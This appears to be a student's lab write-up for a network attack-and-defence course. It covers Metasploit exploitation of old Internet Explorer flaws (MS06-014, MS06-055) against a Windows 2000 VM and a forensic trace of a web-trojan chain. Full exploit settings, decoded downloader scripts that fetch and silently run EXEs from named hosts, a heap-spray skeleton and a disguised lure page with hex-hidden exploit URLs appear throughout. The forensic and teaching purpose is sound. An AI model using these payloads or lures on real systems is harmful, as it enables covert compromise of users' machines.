NukeSong

导航

20252801 2025-2026-2 《网络攻防实践》第十一周作业

网络浏览器渗透实验实践内容

1.1 Web 浏览器渗透攻击原理

Web浏览器渗透攻击属于客户端漏洞攻击,与传统服务端渗透攻击存在本质差异。传统服务端攻击以服务器为核心目标,主要针对服务器开放的网络端口、Web服务、数据库服务、文件共享服务等网络组件开展漏洞利用;而浏览器端渗透攻击的目标为用户本地主机,聚焦浏览器本体、ActiveX控件、第三方插件、脚本解释器及系统老旧组件的安全缺陷。该类攻击的触发条件具备强依赖性,不仅取决于漏洞本身的特性,还受用户访问行为、浏览器版本匹配度、脚本与ActiveX组件运行权限、浏览器进程运行状态等多重因素影响,整体攻击稳定性远低于服务端攻击。
网页木马是浏览器渗透攻击的核心载体,以普通网页为伪装入口,具备极强的隐蔽性。当用户访问恶意入口页面后,页面内嵌的JavaScript脚本、隐藏iframe框架、object对象标签会自动加载漏洞利用代码。该代码依托浏览器及配套组件的漏洞缺陷,构造恶意异常输入,诱导浏览器解析执行攻击者预设的载荷(Payload)。常见Payload类型包含反向Shell、端口绑定Shell、程序下载执行器等,是实现远程控制的核心程序。在Metasploit渗透框架中,漏洞利用成功后会建立专属会话(Session),攻击者可依托该会话向靶机下发操作指令,完成漏洞利用效果的验证与持久化控制。
本次实验采用Windows 2000搭配IE浏览器的老旧环境,高度适配早期浏览器客户端漏洞的复现场景。受浏览器进程状态不稳定、漏洞触发条件苛刻等特性影响,实验过程中出现了恶意页面可正常访问但无法回传会话、浏览器程序崩溃、漏洞触发不完整等典型问题,此类现象也是老旧浏览器漏洞利用实验的重要观测要点,直观体现了客户端渗透攻击的不确定性。

1.2 Metasploit 浏览器漏洞利用模块说明

本次实验基于Metasploit框架,选取两款适配老旧Windows、IE浏览器环境的客户端漏洞利用模块,分别对应MS06-014、MS06-055高危漏洞,两款模块均需依托靶机浏览器主动访问恶意URL链接完成攻击触发,无主动扫描攻击能力,属于典型的被动式客户端攻击模块。
其一为exploit/windows/browser/ie_createobject模块,对应MS06-014漏洞。该漏洞源于旧版Internet Explorer浏览器对ActiveX、COM对象的创建与调用流程存在权限管控缺陷,攻击者可通过构造恶意网页脚本,非法调用CreateObject函数,触发内存异常漏洞并执行恶意Payload。本次实验通过该模块生成专属恶意URL,Win2000靶机访问该链接后,成功触发漏洞并建立远程交互Shell会话,完成渗透攻击。
其二为exploit/windows/browser/ms06_055_vml_method模块,对应MS06-055漏洞。该漏洞是旧版IE浏览器矢量标记语言(VML)处理模块的远程代码执行漏洞,VML作为早期浏览器支持的图形渲染语言,其代码解析逻辑存在设计缺陷。恶意攻击页面通常内嵌VML标签、专属行为属性代码、Unicode编码Shellcode及堆喷射结构,当靶机系统补丁版本、浏览器版本匹配漏洞条件时,访问恶意页面即可触发内存损坏漏洞,执行攻击者预设的恶意载荷。

1.3 网页木马常见混淆与加载方式

为规避杀毒软件、安全设备的特征检测,延长攻击链路的分析周期,网页木马不会直接暴露核心攻击逻辑,普遍采用分阶段加载+代码混淆加密的方式隐藏攻击行为,实现恶意代码的隐蔽投递与执行。
在加载方式上,隐藏iframe框架是最主流的隐蔽加载手段。攻击者将iframe标签宽高设置为0或1,使其在前台页面完全不可见,用户访问伪装页面的同时,浏览器会在后台自动加载漏洞利用页面与恶意脚本,实现无感知攻击。除此之外,Script标签远程加载也是常用方式,将核心攻击逻辑剥离至外部远程JavaScript文件,仅在入口页面保留加载指令,精简入口代码、规避静态特征检测。
在代码混淆层面,网页木马常用多重加密编码手段掩盖真实代码逻辑,主要包含十六进制编码、八进制转义、Unicode编码(unescape)、Base64编码、XXTEA加密等方式。其中,十六进制与Unicode编码可将恶意URL、Shellcode转换为无规律字符序列,规避明文特征匹配;Base64与XXTEA组合加密可压缩隐藏大段恶意脚本;eval()动态执行函数可在浏览器运行阶段解密并执行真实攻击代码。同时,堆喷射技术是浏览器漏洞利用的核心辅助技术,通过批量填充空指令(NOP sled)与Shellcode,精准提升漏洞触发后跳转至恶意载荷的执行概率,解决老旧浏览器内存地址随机化不足的问题。
此类混淆与加载技术的核心作用并非单纯代码加密,而是实现攻击代码分阶段投递、绕过基础安全检测、延迟安全分析进度,同时可根据靶机系统、浏览器组件环境,适配加载不同的二阶段脚本与可执行程序,提升攻击成功率。

1.4 网页木马取证分析思路

网页木马取证需遵循从入口到核心、从表层到深层、逐层溯源拆解的原则,完整还原完整攻击链路,厘清恶意代码的加载、解密、执行全过程。
首先开展入口页面溯源分析,检测入口文件中iframe、script、object等核心加载标签,筛查可疑加密字符串、匿名URL地址,定位第一阶段加载的恶意资源。针对以URL的32位小写MD5值命名存储资源的实验环境,需对所有可疑URL进行MD5加密计算,在哈希资源文件夹中精准匹配对应恶意文件,规避大小写、后缀格式问题导致的匹配失败。
针对获取的网页、脚本类资源文件,需进一步深度解析,排查二次加载链路、多层混淆加密代码。针对常见的Packer加壳、十六进制、八进制、Base64、XXTEA加密混淆内容,先精准识别加密编码方式、提取解密密钥,逐层解码还原原始代码逻辑。若解码后获取二进制程序下载地址,需抓取对应哈希文件,转入静态分析环节。静态分析可从文件类型识别、加壳特征判定、关键字符串提取、导入函数分析、注册表操作、文件读写行为、网络请求地址等多个维度,研判恶意程序的功能与攻击目的。
本次实验的完整取证攻击链路清晰完整:由start.html入口页面跳转至new09.htm恶意页面,new09.htm通过隐藏iframe和远程Script标签加载外部资源,经XXTEA+Base64双层解密后,加载1.js、b.js、pps.js等二阶段脚本及bd.cab组件包,最终通过脚本下载多个恶意EXE可执行文件,后续通过脱壳处理、IDA逆向分析完成恶意程序的深度取证。

1.5 攻防对抗中的检测与防御思路

在真实攻防对抗场景中,防守方需摒弃表层信息研判思维,构建源码分析+流量监测+终端核查的全方位检测体系。邮件、网页中的表层挂马URL仅为攻击入口,真实漏洞利用地址、核心攻击代码通常被多层JavaScript解码、Unicode编码、嵌套iframe隐藏,仅依靠表层URL检测无法识别完整攻击链路。实际研判中,需离线获取入口页面源码,逆向解析脚本解码函数,还原真实恶意资源地址,结合网络抓包数据梳理浏览器实际加载、访问的全部恶意资源。
网络流量层面,需重点监测异常网络行为与特征流量,核心监测对象包括:非常规HTTP请求路径、恶意响应内容、异常浏览器请求标识(User-Agent)、页面内嵌VML标签、ActiveX对象异常创建行为、Unicode编码Shellcode、大批量堆喷射流量、可疑EXE/CAB文件下载请求,以及靶机主动向外发起的反向连接请求。若流量TCP流中捕获Windows命令行标识及命令回显数据,可判定攻击者已获取靶机交互式命令执行权限,系统已被完全控制。
针对浏览器端渗透攻击的防御可从系统、网络、终端、网关多维度落地。一是系统与应用层面,及时修复操作系统、浏览器官方高危漏洞补丁,禁用浏览器非必要的ActiveX控件、脚本执行权限,严格限制老旧版本浏览器访问未知陌生页面;二是网络网关层面,在邮件网关、Web网关配置URL检测与重写规则,拦截可疑加密链接与恶意资源请求;三是安全设备层面,通过IDS/IPS自定义规则,精准识别VML漏洞利用、堆喷射、异常Shellcode等攻击特征;四是终端防护层面,实时监控进程异常创建、恶意文件落地、开机自启动项篡改、注册表异常修改、外网反向连接等高危行为。同时针对老旧实验环境,需充分认知客户端漏洞利用的不稳定性,取证研判需结合网络流量日志与终端主机日志,保障分析结果完整准确。

2.实践过程:

2.1 web浏览器渗透攻击

1、配置实验环境
​ 分别使用kali和win2kserver作为攻击机和靶机,两者ip地址如下(互ping通):
a5c424962b0ad60e787de199933dae05
03d26cb55df83898660d0f4affc93ba0
2、使用metasploit进行渗透实验
在kali中输入msfconsole,打开matesploit。
image
输入search MS06-014
image
搜索结果中可以找到 exploit/windows/browser/ie_createobject 模块。该模块面向旧版 Internet Explorer / ActiveX 场景,符合本次 Windows 2000 靶机环境。
输入use exploit/windows/browser/ie_createobject,将CVE-2006-0003作为目标漏洞;然后,输入set payload windows/shell/bind_tcp,设置Payload为任意TCP连接;最后,输入set URIPATH /,设置URIPATH为根路径。
image
将生成的连接192.168.5.12:8080输入到win2kserver浏览器中打开。浏览器页面中出现一串字符。这一现象可以理解为靶机访问 exploit 服务后,浏览器接收到了 Metasploit 返回的页面内容或触发过程中的输出,并不表示普通网页访问失败。
image
image
然后,在msfconsole中输入命令session -i 1即可获取靶机的shell。
image
<让我康康!>
image

2.2 取证分析实践—网页木马攻击场景分析

打开start.html,搜索关键词htm,可以看到有一个iframe调用了new09.htm。
image
PS:由于本地获得的是单独下载的文件,而不是完整 Web 站点目录,无法直接通过原始目录下载 new09.htm。后续结合wp文件(学习通中)补全 new09.htm 的实际内容。该文件内容较短,核心是两条外部资源加载语句。
然后,我们打开new09.htm文件,可以看到该文件进一步调用了http://aa.18dd.net/aa/kl.htm 和 http://js.users.51.la/1299644.js
image
然后,我们计算这两个链接的md5值。
image
image
根据计算出来的md5值在hashed文件夹中寻找是否存在相关文件。
(万幸,被我找到了)
image
image
之后,我们打开original文件夹,对其中的kl.htm和1299644.js进行分析。其中,1299644.js文件中只有一段注释。
image
在kl.htm文件中,发现了一个变量t和对应的解密方法。由此,我们使用base64对t进行解码,再使用xxtea进行解密,最后将其转化为字符串形式。
image
image

点击查看代码
t="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";


t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));
解码的结果为:

image

优化一下表述:

点击查看代码
<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>
进行解码时,先对密文执行 Base64 解码,再使用 XXTEA 解密并填入密钥 script,最后对输出中的 JavaScript 转义字符串进行还原。解密结果显示,该脚本不是简单统计脚本,而是一个网页挂马加载器。 我们发现,这段代码分别利用率微软数据库访问对象、暴风影音、PPStream和百度搜霸的漏洞,并引用了http://aa.18dd.net/aa/1.js 、 http://aa.18dd.net/aa/b.js 、 http://aa.18dd.net/aa/pps.js 和一个Windows压缩包文件 http://down.18dd.net/bb/bd.cab 。

分别计算4个url的md5值
image

该脚本的逻辑表明,攻击者并不是只针对一个漏洞,而是通过网页挂马加载器同时探测多个旧控件。一旦靶机安装了对应控件,页面就会加载相应二阶段脚本或下载载荷,从而提高攻击成功概率。同样的,我们继续在hashed文件中寻找这4个MD5码为命名的文件

1.js可读版本(感谢豆包提供的详细分析)

点击查看代码
var url = "http://down.18dd.net/bb/014.exe";
try {
    var xml = ado.CreateObject("Microsoft.XMLHTTP");
    xml.Open("GET", url, 0);
    xml.Send();

    as.type = 1;
    as.open();
    as.write(xml.responseBody);
    path = "..\\ntuser.com";
    as.savetofile(path, 2);
    as.close();

    var shell = ado.createobject("Shell.Application");
    shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
} catch(e) {}

var url = "http://down.18dd.net/bb/014.exe" ;
直接指向黑客服务器的 exe 木马文件
然后利用ADODB漏洞执行了cmd.exe .\ntuser.com命令。

b.js进行分析:(经过深度混淆的恶意漏洞利用代码,混淆方式更高级)

可读版的代码如下:

点击查看代码
// 1. 构造内存填充块(堆喷射)
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace;

// 2. 恶意 Shellcode(二进制攻击指令)
var shellcode = unescape("%u0041%u57ff%......"); // 超长攻击指令

// 3. 计算内存块大小
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;

var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);

// 4. 堆喷射:向内存疯狂填充恶意代码
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (x = 0; x < 300; x++) memory[x] = block + shellcode;

// 5. 触发漏洞执行
var buffer = '';
while (buffer.length < 145) buffer += "\\t\\t\\t\\t";
rawParse(buffer);
解码后可以得到关键字符串,GetProcAddress、GetSystemDirectoryA 、WinExec 、ExitThread、LoadLibraryA、urlmon、URLDownloadToFileA和 http://down.18dd.net/bb/pps.exe 。由此可知,代码下载了http://down.18dd.net/bb/pps.exe 。解压bd.cab文件后得到bd.exe 。 它是典型的 JS 混淆 + 堆喷射(Heap Spray) eval:执行混淆后的代码 unescape:解码十六进制字符 Heap Spray:向内存填充大量恶意指令 Shellcode:真正的攻击指令(核心恶意代码) 目的:利用 IE 浏览器漏洞,绕过安全机制,直接执行系统级代码

pps.js分析

后面就都用AI分析解码了,因为方便直观。
完整解码结果:

点击查看代码
// 1. 定义要下载的木马地址(核心!)
var url = "http://www.xxx.com/xxx.exe"; // 真实地址是境外恶意服务器

// 2. 创建XMLHTTP,偷偷下载exe木马
var xml = new ActiveXObject("Microsoft.XMLHTTP");
xml.Open("GET", url, false);
xml.Send();

// 3. 创建ADODB.Stream,把木马写入本地电脑
var stream = new ActiveXObject("ADODB.Stream");
stream.Mode = 3;
stream.Type = 1;
stream.Open();
stream.Write(xml.responseBody);

// 4. 保存木马文件
var path = "C:\\temp.exe";
stream.SaveToFile(path, 2);
stream.Close();

// 5. 自动运行木马(后台隐藏执行)
var shell = new ActiveXObject("Shell.Application");
shell.ShellExecute("cmd.exe", "/c " + path, "", "open", 0);
1.下载远程木马: `xml.Open("GET", "http://恶意网址/xxx.exe", false); xml.Send();` 2.写入本地硬盘 `stream.Write(xml.responseBody); stream.SaveToFile("C:\\temp.exe", 2);` 3.后台静默运行 `shell.ShellExecute("cmd.exe", "/c temp.exe", "", "open", 0);` 全程无弹窗、无提示、无警告,偷偷完成入侵。 AI分析其危害如下: 自动下载木马 自动安装运行 窃取账号、密码、文件 远程控制你的电脑 安装更多病毒 格式化硬盘、窃取隐私

4.bd.cab 与可执行文件同源性分析

关于我尝试在本地解压bd.cab立刻被火绒阻止这件事~

在虚拟机winxpattacker上对 bd.cab 进行解压后得到 bd.exe。至此,攻击链中最终涉及的可执行文件包括:
bd.exe+bf.exe+pps.exe+014.exe
这些文件在资源管理器中显示大小相同。进一步计算文件内容 MD5 后发现,多个落地文件内容完全相同,说明不同二阶段脚本虽然使用了不同下载地址,但最终投递的可能是同一个木马样本。这样后续静态分析可以选择其中一个样本进行,避免重复分析。
经过比对,其MD5值均为:1290ecd734d68d52318ea9016dc6fe63
参考学长的思路,后续选择 pps.exe 作为代表样本进行静态分析。

首先使用 WinXP 环境中的超级巡警虚拟机自动脱壳工具对 pps.exe 进行脱壳。工具识别结果显示样本具有 Borland Delphi 相关特征。脱壳后使用 IDA 对文件进行静态分析,重点查看字符串、函数调用、注册表操作、文件操作和网络下载地址。
image
image
根据分析得到:

  • 生成批处理文件:创建 Alletdel.bat,具备循环执行、改系统日期、文件删除、自删除、文件存在性检测能力。
  • 利用自动运行传播:在磁盘根目录生成 AutoRun.inf,借助系统自启动机制实现驻留与扩散。
  • 篡改系统及浏览器配置:调用系统 API,操作注册表、系统服务、IE 浏览器及相关系统文件。
  • 规避安全防护:针对瑞星卡卡等安全工具,尝试诱导放行、绕过防护机制。
  • 下载衍生木马:内置恶意网址,可批量下载多个 EXE 木马,实现后续恶意功能扩展。

2.3攻防对抗实践—web浏览器渗透攻击攻防

本部分模拟浏览器端攻击与防守分析过程。攻击方使用 Metasploit 构造两个不同 Web 浏览端漏洞利用 URL,对其进行十六进制混淆,并封装到统一入口页面中;防守方对邮件中的挂马链接进行提取、解混淆、源码审计和抓包分析,恢复真实漏洞利用地址并判断攻击结果。

系统及IP概况:

攻击方(Kali):192.168.200.6
防御方(Win2k):192.168.200.13
先清理下之前进程与会话
image

MS06-055

请直接修改配置(参考其他同学的,感谢仙人指路!)
use exploit/windows/browser/ms06_055_vml_method set SRVHOST 0.0.0.0 set SRVPORT 8081 set URIPATH /ms06055 set payload windows/shell/reverse_tcp set LHOST 192.168.200.6 set LPORT 4455 set ExitOnSession false set VERBOSE true show options run -j
image

此时第一个恶意 URL 为:http://192.168.200.6:8081/ms06055
在 Win2000 IE 中访问该 URL。若触发成功,Metasploit 会显示类似 Command shell session opened 的提示。进入 session 后执行命令验证:
sessions -l,sessions -i 1,ver,ipconfig
可以看到了我的靶机IP:192.168.200.13,说明成功接入
image
该步骤用于确认 MS06-055 URL 本身可独立触发,后续统一入口页只负责隐藏加载和混淆封装。

MS06-014

在MS06-055的基础上验证过了,这里先清理sessions:
msfconsole -q jobs -K sessions -K
image

配置基本信息:

点击查看代码
use exploit/windows/browser/ie_createobject
set SRVHOST 0.0.0.0
set SRVPORT 8082
set URIPATH /ms06014
set payload windows/shell/reverse_tcp
set LHOST 192.168.200.6
set LPORT 5544
set ExitOnSession false
set VERBOSE true
show options
run -j

![image](https://img2024.cnblogs.com/blog/3570004/202605/3570004-20260514223433525-296237935.png) 那么,第二个URL为: `http://192.168.200.6:8082/ms06014`

image
image
同样的,在 Win2000 IE 中单独访问该 URL。成功后进入对应 session,执行命令验证远程命令执行能力:
sessions -l sessions -i 2 ver ipconfig
image
两个漏洞 URL 分别验证后,可以确认它们都可以作为独立漏洞利用页面使用。后续实验重点转为如何将两个 URL 混淆后封装为统一入口,并由防守方还原.

构造统一入口 URL 并进行十六进制混淆

参考网址:https://www.sojson.com/hexadecimal.html
http://192.168.200.6:8082/ms06014+http://192.168.200.6:8081/ms06055 转换为十六进制字符串,得到:
image

image
开启 Apache:
image

创建目录:sudo mkdir -p /var/www/html/lab11
创建入口页:sudo nano /var/www/html/lab11/index.html

点击查看代码
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>浏览器兼容性测试</title>
</head>
<body>
<h3>浏览器兼容性测试页面</h3>
<p>正在加载实验资源,请稍候...</p>
<script>
function h2s(h) {
    var s = "";
    for (var i = 0; i < h.length; i += 2) {
        s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
    }
    return s;
}

var u1 = "687474703a2f2f3139322e3136382e3230302e363a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e3230302e363a383038322f6d733036303134";
